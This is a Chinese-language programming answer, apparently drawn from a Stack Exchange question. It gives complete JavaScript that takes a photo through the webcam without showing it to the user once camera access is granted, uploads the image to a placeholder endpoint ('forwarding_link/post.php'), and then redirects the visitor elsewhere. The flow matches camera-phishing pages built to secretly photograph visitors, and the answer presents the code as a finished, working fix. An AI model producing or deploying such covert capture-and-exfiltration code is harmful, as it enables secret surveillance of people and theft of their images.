如何编写JavaScript条件语句实现摄像头权限确认后重定向并完成上传

你当前的问题是授权摄像头后直接跳转，跳过了图片捕获和上传的流程。需要调整逻辑，在摄像头授权成功后先完成画面捕获、上传，等待上传请求成功响应后再执行重定向。以下是修改后的完整代码：

var constraints = { audio: false, video: true };

function post(imgdata) {
  $.ajax({
    type: 'POST',
    data: { cat: imgdata },
    url: 'forwarding_link/post.php',
    dataType: 'json',
    success: function(result) {
      // 确认上传成功后再执行页面重定向
      window.location.replace('http://example.com/');
    },
    error: function() {
      // 可选：添加上传失败的提示或重试逻辑
      console.log('图片上传失败，请检查');
    }
  });
};

function successCallback(stream) {
  // 创建临时video元素加载摄像头流
  const video = document.createElement('video');
  video.srcObject = stream;
  
  // 视频元数据加载完成后捕获画面
  video.addEventListener('loadedmetadata', function() {
    video.play();
    
    // 用canvas捕获当前视频帧
    const canvas = document.createElement('canvas');
    canvas.width = video.videoWidth;
    canvas.height = video.videoHeight;
    const ctx = canvas.getContext('2d');
    ctx.drawImage(video, 0, 0);
    
    // 将画布内容转为base64格式的图片数据
    const imgdata = canvas.toDataURL('image/png');
    
    // 调用上传函数
    post(imgdata);
    
    // 上传完成后关闭摄像头流，释放资源
    stream.getTracks().forEach(track => track.stop());
  });
}

function errorCallback(error) {
  console.log('navigator.getUserMedia error: ', error);
}

navigator.mediaDevices
  .getUserMedia(constraints)
  .then(successCallback)
  .catch(errorCallback);

关键修改说明： #

• 捕获摄像头画面：通过video元素加载授权后的媒体流，再用canvas捕获当前帧，转换成上传所需的imgdata。
• 上传完成后跳转：把重定向逻辑移到post函数的success回调中，确保只有当上传请求成功返回后才触发页面跳转。
• 释放摄像头资源：上传完成后主动停止摄像头轨道，避免不必要的资源占用。

内容的提问来源于stack exchange，提问作者rainydeer